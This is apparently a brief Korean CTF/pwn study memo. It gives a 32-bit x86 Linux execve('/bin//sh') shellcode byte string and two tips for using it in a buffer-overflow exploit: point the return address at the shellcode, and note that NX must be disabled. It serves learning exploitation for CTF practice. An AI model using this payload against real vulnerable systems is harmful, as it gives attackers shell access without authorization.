-
32bit shellcodeETC/Pwn 메모장 2020. 2. 8. 14:45
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
shellcode를 ret로 넣어주는 것이 아니고, shellcode주소를 ret에 넣어줘야 쉘코드가 동작함.
NX가 disabled되어있어야 함.
'ETC > Pwn 메모장' 카테고리의 다른 글
pwnable 기본 세팅 (1) 2021.04.28 seccomp 문제 만들때 (0) 2020.11.15 함수 호출시에 rax가 zeroed되는 이유 (0) 2020.01.12 fsb인지 gdb로 확인하기 (0) 2020.01.05 peda 정리 (0) 2019.12.27